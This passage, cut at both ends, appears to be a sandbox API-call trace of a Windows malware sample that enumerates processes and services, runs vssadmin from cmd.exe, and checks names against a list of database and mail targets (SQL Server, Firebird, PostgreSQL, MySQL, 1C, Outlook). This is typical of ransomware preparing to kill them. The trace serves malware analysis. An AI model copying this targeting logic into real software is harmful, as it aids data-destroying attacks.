lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0194.304] lstrlenW (lpString="n.exe") returned 5 [0194.304] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0194.305] lstrlenW (lpString="cmd.exe") returned 7 [0194.305] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0194.305] lstrlenW (lpString="conhost.exe") returned 11 [0194.305] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0194.305] lstrlenW (lpString="vssadmin.exe") returned 12 [0194.306] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0194.306] lstrlenW (lpString="VSSVC.exe") returned 9 [0194.306] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.306] lstrlenW (lpString="svchost.exe") returned 11 [0194.306] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0194.307] CloseHandle (hObject=0x218) returned 1 [0194.307] Sleep (dwMilliseconds=0x1f4) [0195.025] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0195.026] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0195.026] GetLastError () returned 0xea [0195.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0195.026] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0195.027] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0195.027] lstrlenW (lpString="Appinfo") returned 7 [0195.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0195.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0195.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0195.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0195.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0195.028] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0195.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.028] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0195.028] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0195.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0195.028] lstrlenW (lpString="AudioSrv") returned 8 [0195.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0195.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0195.028] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0195.028] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0195.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0195.028] lstrlenW (lpString="BFE") returned 3 [0195.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0195.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0195.028] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0195.028] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0195.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0195.028] lstrlenW (lpString="CryptSvc") returned 8 [0195.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0195.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0195.028] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0195.028] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0195.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0195.028] lstrlenW (lpString="CscService") returned 10 [0195.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0195.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0195.028] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0195.028] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0195.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0195.029] lstrlenW (lpString="DcomLaunch") returned 10 [0195.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.029] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0195.029] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0195.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0195.029] lstrlenW (lpString="Dhcp") returned 4 [0195.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0195.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0195.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0195.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0195.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0195.029] lstrlenW (lpString="Dnscache") returned 8 [0195.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0195.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0195.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0195.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0195.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0195.029] lstrlenW (lpString="DPS") returned 3 [0195.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0195.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0195.029] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0195.029] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0195.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0195.029] lstrlenW (lpString="eventlog") returned 8 [0195.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0195.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0195.029] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0195.029] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0195.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0195.029] lstrlenW (lpString="EventSystem") returned 11 [0195.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0195.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0195.030] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0195.030] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0195.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0195.030] lstrlenW (lpString="gpsvc") returned 5 [0195.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0195.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0195.030] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0195.030] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0195.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0195.030] lstrlenW (lpString="iphlpsvc") returned 8 [0195.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.030] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0195.030] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0195.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0195.030] lstrlenW (lpString="LanmanServer") returned 12 [0195.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0195.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0195.030] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0195.030] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0195.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0195.030] lstrlenW (lpString="LanmanWorkstation") returned 17 [0195.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.030] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0195.030] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0195.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0195.030] lstrlenW (lpString="lmhosts") returned 7 [0195.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0195.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0195.031] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0195.031] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0195.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0195.031] lstrlenW (lpString="MMCSS") returned 5 [0195.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0195.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0195.031] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0195.031] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0195.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0195.031] lstrlenW (lpString="MpsSvc") returned 6 [0195.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0195.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0195.031] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0195.031] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0195.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0195.031] lstrlenW (lpString="Netman") returned 6 [0195.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0195.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0195.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0195.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0195.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0195.031] lstrlenW (lpString="netprofm") returned 8 [0195.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0195.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0195.031] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0195.031] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0195.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0195.032] lstrlenW (lpString="NlaSvc") returned 6 [0195.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0195.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0195.032] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0195.032] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0195.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0195.032] lstrlenW (lpString="nsi") returned 3 [0195.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0195.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0195.032] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0195.032] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0195.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0195.032] lstrlenW (lpString="PcaSvc") returned 6 [0195.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0195.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0195.032] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0195.032] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0195.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0195.032] lstrlenW (lpString="PlugPlay") returned 8 [0195.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0195.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0195.032] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0195.032] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0195.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0195.032] lstrlenW (lpString="Power") returned 5 [0195.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0195.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0195.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0195.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0195.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0195.032] lstrlenW (lpString="ProfSvc") returned 7 [0195.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0195.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0195.033] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0195.033] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0195.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0195.033] lstrlenW (lpString="RpcEptMapper") returned 12 [0195.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.033] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0195.033] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0195.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0195.033] lstrlenW (lpString="RpcSs") returned 5 [0195.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0195.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0195.033] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0195.033] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0195.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0195.033] lstrlenW (lpString="SamSs") returned 5 [0195.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0195.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0195.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0195.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0195.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0195.033] lstrlenW (lpString="Schedule") returned 8 [0195.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0195.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0195.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0195.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0195.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0195.033] lstrlenW (lpString="SENS") returned 4 [0195.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0195.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0195.034] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0195.034] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0195.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0195.034] lstrlenW (lpString="ShellHWDetection") returned 16 [0195.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.034] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0195.034] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0195.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0195.034] lstrlenW (lpString="Spooler") returned 7 [0195.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0195.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0195.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0195.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0195.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0195.034] lstrlenW (lpString="swprv") returned 5 [0195.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0195.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0195.034] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0195.034] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0195.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0195.034] lstrlenW (lpString="SysMain") returned 7 [0195.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0195.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0195.034] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0195.034] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0195.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0195.034] lstrlenW (lpString="Themes") returned 6 [0195.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0195.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0195.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0195.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0195.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0195.035] lstrlenW (lpString="TrkWks") returned 6 [0195.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0195.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0195.035] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0195.035] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0195.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0195.035] lstrlenW (lpString="UxSms") returned 5 [0195.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0195.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0195.035] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0195.035] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0195.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0195.035] lstrlenW (lpString="VSS") returned 3 [0195.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0195.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0195.035] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0195.035] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0195.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0195.035] lstrlenW (lpString="WdiServiceHost") returned 14 [0195.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0195.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0195.035] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0195.035] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0195.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0195.035] lstrlenW (lpString="WdiSystemHost") returned 13 [0195.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0195.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0195.035] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0195.036] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0195.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0195.036] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0195.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0195.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0195.036] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0195.036] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0195.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0195.036] lstrlenW (lpString="Winmgmt") returned 7 [0195.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0195.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0195.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0195.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0195.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0195.036] lstrlenW (lpString="WPDBusEnum") returned 10 [0195.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0195.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0195.036] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0195.036] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0195.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0195.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0195.036] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0195.038] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.038] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0195.039] lstrlenW (lpString="System") returned 6 [0195.039] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0195.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0195.039] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0195.039] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0195.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0195.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0195.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0195.039] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0195.039] 